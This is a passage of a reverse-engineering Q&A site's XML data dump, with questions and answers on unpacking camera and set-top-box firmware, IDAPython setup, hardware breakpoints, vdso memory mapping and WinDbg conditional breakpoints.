in the ugly cast sequence. So, if we replace the &lt;code&gt;&amp;amp;&lt;/code&gt; by &lt;code&gt;fabs&lt;/code&gt;, the &quot;correct&quot; expression is probably this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v8 = (fabs(v6 - v5) - 4.0) / 6;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2018-07-07T21:18:45.980" LastActivityDate="2018-07-07T21:18:45.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18722" PostTypeId="1" CreationDate="2018-07-08T03:23:46.700" Score="0" ViewCount="3803" Body="&lt;p&gt;Would anyone be willing to help me with carving/extracting files from a firmware file? I've tried to extract with &lt;code&gt;binwalk&lt;/code&gt;, but it didn't extract everything. I checked it out with ent to see if there's any encryption and there doesn't appear to be any from what I can tell. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's firmware for &lt;a href=&quot;https://www.insta360.com/product/insta360-one/?inspm=77c1c2.6666cd.0.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Insta360 One&lt;/a&gt; camera and I want to inspect the file system/code to see how it works. &lt;code&gt;Binwalk&lt;/code&gt; enumerates a unix filesystem, and I'm pretty sure the thing just runs on an ARM processor. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to the .bin file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/ut9is9k1t6ih0gf/Insta360FW.bin?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/ut9is9k1t6ih0gf/Insta360FW.bin?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24935" LastEditorUserId="245" LastEditDate="2018-07-10T08:31:43.823" LastActivityDate="2018-07-10T08:31:43.823" Title="How to unpack(carve) files from a camera firmware .bin file?" Tags="|firmware|unpacking|" AnswerCount="1" CommentCount="4" ClosedDate="2018-07-10T08:31:49.273" ContentLicense="CC BY-SA 4.0" />
  <row Id="18724" PostTypeId="1" CreationDate="2018-07-08T08:18:22.520" Score="1" ViewCount="1420" Body="&lt;p&gt;I'm new in the field of reverse engineering to detect malicious code in ELF file. &#xA;I installed IDA on Ubuntu (&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&lt;/a&gt;) then follow guide at &lt;a href=&quot;https://github.com/idapython/src/wiki/Installation-Instructions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/idapython/src/wiki/Installation-Instructions&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it doesn't work (not show Script language Python to change from IDC)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I configure IDA on Ubuntu with plugin IDApython?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/1KGTr1KBDo6l1cmqGQhkx5hxQGuKK20Bs/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1KGTr1KBDo6l1cmqGQhkx5hxQGuKK20Bs/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22983" LastEditorUserId="2959" LastEditDate="2018-07-08T20:36:21.713" LastActivityDate="2018-07-08T20:36:21.713" Title="Install and configure script language bar on IDA from IDC to Python" Tags="|idapython|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18725" PostTypeId="2" ParentId="18724" CreationDate="2018-07-08T08:51:00.170" Score="3" Body="&lt;p&gt;The free version of IDA doesn't support the IDAPython scripting engine. You'll have to get a commercial license. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instructions you're trying to follow may also be a little outdated.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-07-08T09:52:38.937" LastActivityDate="2018-07-08T09:52:38.937" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18726" PostTypeId="2" ParentId="18716" CreationDate="2018-07-08T10:30:12.057" Score="3" Body="&lt;p&gt;In IDA, you can define enums through the Enums view (&lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;F10&lt;/kbd&gt;). Enums have the &quot;bitfield&quot; bit set (a checkbox by the same name can be found in the Enum edit and create dialogs). This bit cannot be set for enums with overlapping member bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once an enum is a bitfield enum, setting any operand in the disassembly view to that enum will display all enum members of bit values set in the immediate operand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a function prototype uses an enum name for a variable type, IDA will try setting operands using it to the same enum automatically, although that does not always happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IIRC the MAP enum is already mapped in IDA's known enums, so adding it should be easy and without the need to manually define it.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-07-08T14:06:40.880" LastActivityDate="2018-07-08T14:06:40.880" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18727" PostTypeId="1" CreationDate="2018-07-08T12:14:30.347" Score="3" ViewCount="373" Body="&lt;p&gt;Is there any elegant way to calculate the maximum possible stack depth utilization of a program, using IDAPython?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;currently my best approach is iterating through all functions and counting stack-increasing instructions.&lt;/p&gt;&#xA;" OwnerUserId="24940" LastEditorUserId="2147" LastEditDate="2018-07-08T14:05:01.673" LastActivityDate="2021-12-27T17:03:25.313" Title="how to calculate max possible stack size utilization" Tags="|ida|idapython|stack|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18728" PostTypeId="2" ParentId="18707" CreationDate="2018-07-08T17:23:06.927" Score="2" Body="&lt;p&gt;This type of breakpoint is done through the use of hardware breakpoints. Hardware breakpoints set the debug registers for the thread context (dr0-dr3). The first four debug registers specify the address for the breakpoint, dr7 enables you to specify the condition for each hardware breakpoint set (write, general access, execute).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA implements this in its debugger. If you press CTRL+ALT+B and right click and then click insert, you can specify the proper debugging conditions. All types of access breakpoints will be implemented through hardware breakpoints unless you use another type of debugger that arbitrarily throws exceptions such as page exceptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set the debugging conditions for access breakpoints when you specify the address/location, make sure that the hardware checkbox is enabled and then go to the hardware breakpoint mode group and you can toggle which conditions you want for your breakpoint (read, write, execute, access) and then hit OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the address/location specified in the breakpoint will be triggered when the proper conditions are met.&lt;/p&gt;&#xA;" OwnerUserId="6948" LastActivityDate="2018-07-08T17:23:06.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18730" PostTypeId="1" CreationDate="2018-07-09T05:56:29.107" Score="2" ViewCount="76" Body="&lt;p&gt;On my Ubuntu 16.04, 64 bit the default stack size is 8192 bytes. If I set it to unlimited, seems like the &lt;code&gt;vdso&lt;/code&gt; is remapped to a completely different memory region.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ulimit -s&#xA;8192&#xA;&#xA;$ cat /proc/`pgrep ascii`/maps&#xA;08048000-080ed000 r-xp 00000000 08:03 7736874                            /home/sherlock/ascii                                                                           &#xA;080ed000-080ef000 rw-p 000a5000 08:03 7736874                            /home/sherlock/ascii                                                                           &#xA;080ef000-080f1000 rw-p 00000000 00:00 0&#xA;09803000-09825000 rw-p 00000000 00:00 0                                  [heap]&#xA;80000000-80001000 rwxp 00000000 00:00 0&#xA;f7f74000-f7f76000 rw-p 00000000 00:00 0&#xA;f7f76000-f7f79000 r--p 00000000 00:00 0                                  [vvar]&#xA;f7f79000-f7f7b000 r-xp 00000000 00:00 0                                  [vdso]&#xA;ff86f000-ff891000 rw-p 00000000 00:00 0                                  [stack]&#xA;&#xA;$ ulimit -s unlimited&#xA;&#xA;$ ulimit -s                                                                                                                                          &#xA;unlimited&#xA;&#xA;$ cat /proc/`pgrep ascii`/maps&#xA;08048000-080ed000 r-xp 00000000 08:03 7736874                            /home/sherlock/ascii                                                                           &#xA;080ed000-080ef000 rw-p 000a5000 08:03 7736874                            /home/sherlock/ascii                                                                           &#xA;080ef000-080f1000 rw-p 00000000 00:00 0&#xA;0988a000-098ac000 rw-p 00000000 00:00 0                                  [heap]&#xA;2aa35000-2aa37000 rw-p 00000000 00:00 0&#xA;2aa37000-2aa3a000 r--p 00000000 00:00 0                                  [vvar]&#xA;2aa3a000-2aa3c000 r-xp 00000000 00:00 0                                  [vdso]&#xA;80000000-80001000 rwxp 00000000 00:00 0&#xA;ffed3000-ffef5000 rw-p 00000000 00:00 0                                  [stack]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain this behavior?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2018-07-09T05:56:29.107" Title="Why is vdso remapped after setting stack space to unlimited?" Tags="|memory|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18731" PostTypeId="2" ParentId="18722" CreationDate="2018-07-09T06:08:54.993" Score="7" Body="&lt;p&gt;From brief analysis of the file it looks that the &lt;code&gt;Insta360 One&lt;/code&gt; camera is based on or variant of the &lt;a href=&quot;https://www.ambarella.com/uploads/docs/A9-product-brief.pdf&quot; rel=&quot;noreferrer&quot;&gt;Ambarella A9 SoC&lt;/a&gt;. So lets assume for the moment that we are dealing with Ambarella camera itself and its firmware as it's pretty hard IMO to develop your own HD camera HW and SW stack from scratch. There are some substantial evidence for that if one check strings in the firmware file:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;/home/users/vincent/Insta360_ONE/insta360_one_u05/ambalink_sdk_3_10/output.oem/a12_ambalink/build/dbus-1.8.16/dbus/.libs&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;AmbarellaInc A9 Platform&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some further googling revealed that this SoC is also used in other products, among which is DJI Mavic drone. Following that lead, the following repo popped up with the tools that could be of help with your research:  &lt;a href=&quot;https://github.com/o-gs/dji-firmware-tools&quot; rel=&quot;noreferrer&quot;&gt;dji-firmware-tools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before going further into file extraction, some words about the bin file itself. It is divided into several parts because I think of how the camera SoC loads things into RAM. Some parts are actually ELF files (part 00) and others are UBIFS partitions which you can inspect with the help of &lt;a href=&quot;https://github.com/jrspruitt/ubi_reader&quot; rel=&quot;noreferrer&quot;&gt;ubi_reader&lt;/a&gt;. So moving on to examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using &lt;code&gt;amba_fwpak.py&lt;/code&gt;, &lt;code&gt;amba_romfs.py&lt;/code&gt;, &lt;code&gt;arm_bin2elf.py&lt;/code&gt; it was possible to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;slice firmware into parts&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/ubidump/dji-firmware-tools # ./amba_fwpak.py -s -vv -m /Research/Insta360FW.bin &#xA;/Research/Insta360FW.bin: Opening for search&#xA;/Research/Insta360FW.bin: Extracting entry  0, pos      252, len  6919456 bytes&#xA;/Research/Insta360FW.bin: Entry  0 checksum B77204FE&#xA;/Research/Insta360FW.bin: Extracting entry  1, pos  6919964, len  5079040 bytes&#xA;/Research/Insta360FW.bin: Entry  1 checksum F1EC7657&#xA;/Research/Insta360FW.bin: Extracting entry  2, pos 11999260, len  7266304 bytes&#xA;/Research/Insta360FW.bin: Entry  2 checksum F525FC58&#xA;/Research/Insta360FW.bin: Extracting entry  3, pos 19265820, len  6002936 bytes&#xA;/Research/Insta360FW.bin: Entry  3 checksum 13FB09E6&#xA;/Research/Insta360FW.bin: Extracting entry  4, pos 25269012, len 12976128 bytes&#xA;/Research/Insta360FW.bin: Entry  4 checksum 03A65A19&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;extract binaries - it's from one file, others have much more:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/ubidump/dji-firmware-tools/file # ../amba_romfs.py -vv -s -p /Research/insta/Insta360FW_part_01.a9s &#xA;/Research/insta/Insta360FW_part_01.a9s: Opening for search&#xA;/Research/insta/Insta360FW_part_01.a9s: Extracting entry 0: orccode.bin, 4376293 bytes&#xA;/Research/insta/Insta360FW_part_01.a9s: Extracting entry 1: orcme.bin, 432320 bytes&#xA;/Research/insta/Insta360FW_part_01.a9s: Extracting entry 2: default_binary.bin, 262144 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;converts one of the parts into a ELF file for static research - the base address comes from Insta360FW_part_00.a9h file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/ubidump/dji-firmware-tools # ./amba_sys2elf.py -vv -e -l 0xA0001000 -p /Research/insta/Insta360FW_part_00.a9s &#xA;/Research/insta/Insta360FW_part_00.a9s: Opening for conversion to ELF&#xA;/Research/insta/Insta360FW_part_00.a9s: Opening         /Research/insta/Insta360FW_part_00.a9h&#xA;/Research/insta/Insta360FW_part_00.a9s: Memory base address set to 0xa0001000&#xA;/Research/insta/Insta360FW_part_00.a9s: Searching for sections&#xA;/Research/insta/Insta360FW_part_00.a9s: Matching '.ARM.exidx' section at 0x0054af80: 1 exception entries&#xA;/Research/insta/Insta360FW_part_00.a9s: Set '.ARM.exidx' section at file pos 0x0054af80, size 0x00000008&#xA;/Research/insta/Insta360FW_part_00.a9s: Set '.text' section at file pos 0x00000000, size 0x0054af80&#xA;/Research/insta/Insta360FW_part_00.a9s: Set '.data' section at file pos 0x0054af88, size 0x0014e598&#xA;/Research/insta/Insta360FW_part_00.a9s: Set '.bss' section at file pos 0x00699520, size 0x9f967ae0&#xA;/Research/insta/Insta360FW_part_00.a9s: ELF template 'amba_sys2elf_template.elf' copied to 'Insta360FW_part_00.elf', 5140 bytes&#xA;/Research/insta/Insta360FW_part_00.a9s: Section '.text' memory address set to 0xa0001000, alignment 0x40&#xA;/Research/insta/Insta360FW_part_00.a9s: Section '.ARM.exidx' memory address set to 0xa054bf80, alignment 0x40&#xA;/Research/insta/Insta360FW_part_00.a9s: Section '.data' memory address set to 0xa054bf88, alignment 0x08&#xA;/Research/insta/Insta360FW_part_00.a9s: Section '.bss' memory address set to 0xa069a520, alignment 0x20&#xA;/Research/insta/Insta360FW_part_00.a9s: Updating entry point and section headers&#xA;/Research/insta/Insta360FW_part_00.a9s: Preparing ELF section '.text' from binary pos 0x00000000&#xA;/Research/insta/Insta360FW_part_00.a9s: Preparing ELF section '.ARM.exidx' from binary pos 0x0054af80&#xA;/Research/insta/Insta360FW_part_00.a9s: Preparing ELF section '.data' from binary pos 0x0054af88&#xA;/Research/insta/Insta360FW_part_00.a9s: Preparing ELF section '.bss' from binary pos 0x00699520&#xA;/Research/insta/Insta360FW_part_00.a9s: Writing changes to 'Insta360FW_part_00.elf'&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And UBI partition looks similar to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/ubidump # ubireader_display_info /Research/insta/Insta360FW_part_04.a9s&#xA;UBI File&#xA;---------------------&#xA;    Min I/O: 2048&#xA;    LEB Size: 126976&#xA;    PEB Size: 131072&#xA;    Total Block Count: 99&#xA;    Data Block Count: 97&#xA;    Layout Block Count: 2&#xA;    Internal Volume Block Count: 0&#xA;    Unknown Block Count: 0&#xA;    First UBI PEB Number: 0&#xA;&#xA;    Image: 891379931&#xA;    ---------------------&#xA;        Image Sequence Num: 891379931&#xA;        Volume Name:linux&#xA;        PEB Range: 0 - 98&#xA;&#xA;        Volume: linux&#xA;        ---------------------&#xA;            Vol ID: 0&#xA;            Name: linux&#xA;            Block Count: 97&#xA;&#xA;            Volume Record&#xA;            ---------------------&#xA;                alignment: 1&#xA;                crc: '0xeae44dff'&#xA;                data_pad: 0&#xA;                errors: ''&#xA;                flags: 0&#xA;                name: u'linux'&#xA;                name_len: 5&#xA;                padding: u'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'&#xA;                rec_index: 0&#xA;                reserved_pebs: 389&#xA;                upd_marker: 0&#xA;                vol_type: 'dynamic'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I think this should be enough for you to get started. &#xA;Good luck and have fun!&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2018-07-09T11:44:57.110" LastActivityDate="2018-07-09T11:44:57.110" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18732" PostTypeId="1" CreationDate="2018-07-09T06:44:19.730" Score="1" ViewCount="1677" Body="&lt;p&gt;I have some questions well today I tried to emulate with (Qemu) a STB firmware (&lt;code&gt;.abs&lt;/code&gt; extension file) in Qemu. So I tried to unpack the &lt;code&gt;.abs&lt;/code&gt; file I got many files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example for: Amiko HD8150 2.4.43 emu Firmware.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Software used: Ali Main Code Decrypter 8.9&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Files unpacked: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bootloader&lt;/li&gt;&#xA;&lt;li&gt;MemCfg&lt;/li&gt;&#xA;&lt;li&gt;maincode(AV)&lt;/li&gt;&#xA;&lt;li&gt;seecode&lt;/li&gt;&#xA;&lt;li&gt;default_lang&lt;/li&gt;&#xA;&lt;li&gt;cipluskey&lt;/li&gt;&#xA;&lt;li&gt;countryband&lt;/li&gt;&#xA;&lt;li&gt;logo_user&lt;/li&gt;&#xA;&lt;li&gt;logo_menu&lt;/li&gt;&#xA;&lt;li&gt;logo_radio&lt;/li&gt;&#xA;&lt;li&gt;logo_boot&lt;/li&gt;&#xA;&lt;li&gt;patch&lt;/li&gt;&#xA;&lt;li&gt;defaultdb(PRC)&lt;/li&gt;&#xA;&lt;li&gt;userdb(64+64)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Software used: binwalk&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;TERMINAL OUTPUT:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# binwalk -e AMIKO_HD8150_2.4.43_emu.abs&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;&#xA;--------------------------------------------------------------------------------&#xA;196736        0x30080         LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 11883876 bytes&#xA;3866752       0x3B0080        LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 3255512 bytes&#xA;5636224       0x560080        LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 87904 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Files unpacked:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;30080&lt;/li&gt;&#xA;&lt;li&gt;3B0080 &lt;/li&gt;&#xA;&lt;li&gt;560080&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I open the 30080 file with hexdump I can see this at the end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# hexdump -C &#xA;&#xA;part of file &#xA;&#xA;&#xA;00b51a30  00 00 00 00 4c 69 62 63  6f 72 65 20 76 65 72 73  |....Libcore vers|&#xA;00b51a40  69 6f 6e 20 31 33 2e 31  36 2e 30 40 53 44 4b 34  |ion 13.16.0@SDK4|&#xA;00b51a50  2e 30 66 61 2e 31 33 2e  31 36 5f 32 30 31 36 31  |.0fa.13.16_20161|&#xA;00b51a60  30 31 39 28 67 63 63 20  76 65 72 73 69 6f 6e 20  |019(gcc version |&#xA;00b51a70  33 2e 34 2e 34 20 6d 69  70 73 73 64 65 2d 36 2e  |3.4.4 mipssde-6.|&#xA;00b51a80  30 36 2e 30 31 2d 32 30  30 37 30 34 32 30 29 28  |06.01-20070420)(|&#xA;00b51a90  41 64 6d 69 6e 69 73 74  72 61 74 6f 72 40 20 46  |Administrator@ F|&#xA;00b51aa0  72 69 2c 20 4a 75 6c 20  32 38 2c 20 32 30 31 37  |ri, Jul 28, 2017|&#xA;00b51ab0  20 31 32 3a 35 33 3a 32  38 20 41 4d 29 0a 00 00  | 12:53:28 AM)...|&#xA;00b51ac0  44 4d 58 5f 53 33 36 30  31 5f 30 00 00 a1 03 18  |DMX_S3601_0.....|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I use &lt;code&gt;readelf&lt;/code&gt; it says this file isn't an ELF file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried to open the bin 30080 in the &lt;code&gt;qemu&lt;/code&gt; (Win64) but it doesn't start the emulation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  C:\Program Files\qemu&amp;gt;qemu-system-mips.exe -machine mips -cpu mips32r6-generic -drive file=C:\30080.bin,index=0,media=disk,format=raw&#xA;&#xA;qemu-system-mips.exe: warning: could not load MIPS bios 'mips_bios.bin'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I think something is wrong. Well I know the kernel is missing but how can I know the correct kernel for this firmware. Has someone tried to open (emulate) a STB firmware in Qemu before? Do you think I need to create an image with bin files or emulate as rs232 flash ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for all this questions I never used Qemu before.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;UPDATE #1&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So i tested some differents emulators like Firmadyne and Qemu, and now i can point the *.abs is not a linux embedded firmware like dreambox, so i opened a issue ticket in the fimadyne and qemu about my issues to can do a emulation with the *.abs or *.bin files from STB Receivers like (Amiko,Openbox,Skybox,AZbox, Cryptobox,etc...). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now i just received some replies in Firmadyne Github.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/firmadyne/firmadyne/issues/83&quot; rel=&quot;nofollow noreferrer&quot;&gt;Firmadyne ticket issue about *.abs or *.bin emulation&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;because when i tried to open binary and/or *.abs files he shows a error about extraction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here he go the issue i have in the Firmadyne&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Terminal OUTPUT:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    root@ns2:/Firmware/firmadyne# ./sources/extractor/extractor.py -b Amiko -sql 127.0.0.1 -np -nk &quot;AMIKO_HD8150_2.4.43_emu.zip&quot; images&#xA;&#xA;root@ns2:/Firmware/firmadyne# &amp;gt;&amp;gt; Database Image ID: 2&#xA;&#xA;root@ns2:/Firmware/firmadyne/AMIKO_HD8150_2.4.43_emu.zip&#xA;root@ns2:&amp;gt;&amp;gt; MD5: 17c266121d5568340ef927c211fcc4f4&#xA;root@ns2:&amp;gt;&amp;gt; Tag: 2&#xA;root@ns2:&amp;gt;&amp;gt; Temp: /tmp/tmpOqzn89&#xA;root@ns2:&amp;gt;&amp;gt; Status: Kernel: True, Rootfs: False, Do_Kernel: False,                 root@ns2:Do_Rootfs: True&#xA;root@ns2:&amp;gt;&amp;gt;&amp;gt;&amp;gt; Zip archive data, at least v2.0 to extract, compressed size: root@ns2:4454941, uncompressed size: 8388608, name: AMIKO_HD8150_2.4.43_emu.abs&#xA;root@ns2:&amp;gt;&amp;gt; Recursing into archive ...&#xA;&#xA;root@ns2:/tmp/tmpOqzn89/_AMIKO_HD8150_2.4.43_emu.zip.extracted/rlz_notes.txt&#xA;        root@ns2:&amp;gt;&amp;gt; MD5: aa5c7dd374bf981442deb5fa67e7189e&#xA;        root@ns2:&amp;gt;&amp;gt; Skipping: text/plain...&#xA;&#xA;root@ns2:/tmp/tmpOqzn89/_AMIKO_HD8150_2.4.43_emu.zip.extracted/AMIKO_HD8150_2.4.43_emu.abs&#xA;        root@ns2:&amp;gt;&amp;gt; MD5: dc6b86caa2c55d18a43ca9ad9053bc77&#xA;        root@ns2:&amp;gt;&amp;gt; Tag: 2&#xA;        root@ns2:&amp;gt;&amp;gt; Temp: /tmp/tmpBNDrbm&#xA;        root@ns2:&amp;gt;&amp;gt; Status: Kernel: True, Rootfs: False, Do_Kernel: False,                 root@ns2:Do_Rootfs: True&#xA;        root@ns2:&amp;gt;&amp;gt; Recursing into archive ...&#xA;        **root@ns2:&amp;gt;&amp;gt;&amp;gt;&amp;gt; Extraction failed!**&#xA;        root@ns2:&amp;gt;&amp;gt;&amp;gt;&amp;gt; LZMA compressed data, properties: 0x6C, dictionary size: root@ns2:8388608 bytes, uncompressed size: 11883876 bytes&#xA;        root@ns2:&amp;gt;&amp;gt; Recursing into compressed ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;AND A LOT OF OTHER MESSAGES ABOVE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after this issue i opened a issue ticket in Gihub and they told me this *.abs or *.bin files is not a linux embedded device so i googled again about qemu to emulate non linux-embedded device and i found a other ask/question in Stackexchange talking about Unicorn Framework. so i going to test Unicorn Framework to check if the answer is here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14523/emulating-non-linux-firmware-image-of-embedded-devices&quot;&gt;Post about Emulating Non-Linux Embedded device.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the bootloader &lt;a href=&quot;https://github.com/jinfeng-geeya/3202C&quot; rel=&quot;nofollow noreferrer&quot;&gt;generic code here&lt;/a&gt;.&#xA;so if anybody have news or something to help me to go to the right way thanks you to give me answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="24948" LastEditorUserId="24948" LastEditDate="2018-07-14T22:40:24.850" LastActivityDate="2018-10-13T14:00:25.443" Title="*.abs (sfw) emulation in Qemu - MIPS (abs = Amiko,Skybox,OpenBox, Cryptobox,... file firmware)" Tags="|firmware|binary|mips|qemu|emulation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18733" PostTypeId="1" CreationDate="2018-07-09T08:25:11.333" Score="2" ViewCount="110" Body="&lt;p&gt;I'm trying to set a conditional hardware breakpoint on Windows Kernel-Mode in Windbg by using the following syntax :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ba w1 ffff802312345678 &quot;j(@rip==ffff802387654321 || @rip==ffff802387654330) 'gc';''&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used the above command in order to ignore every access to my target location (&lt;code&gt;ffff802312345678&lt;/code&gt;) from &lt;code&gt;ffff802387654321&lt;/code&gt; or &lt;code&gt;ffff802387654330&lt;/code&gt;, so everytime access from somewhere else is taken, then I would be notified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is, it still breaks on &lt;code&gt;ffff802387654321&lt;/code&gt; or  &lt;code&gt;ffff802387654330&lt;/code&gt; among the other locations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also read it's &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-a-conditional-breakpoint&quot; rel=&quot;nofollow noreferrer&quot;&gt;official documents&lt;/a&gt; about &quot;&lt;strong&gt;Conditional Breakpoints and Register Sign Extension&lt;/strong&gt;&quot; and also test something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ba w1 ffff802312345678 &quot;j((@rip &amp;amp; 0xffffffffffffffff)=ffff802387654321 || (@rip &amp;amp; 0xffffffffffffffff)=ffff802387654330) 'gc';''&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it still won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What's wrong with the above command and how can I achieve the desired&#xA;result ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23824" LastEditorUserId="23824" LastEditDate="2018-07-09T17:34:05.993" LastActivityDate="2018-07-09T17:34:05.993" Title="Ignore some locations in Windbg Conditional breakpoints" Tags="|windbg|breakpoint|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
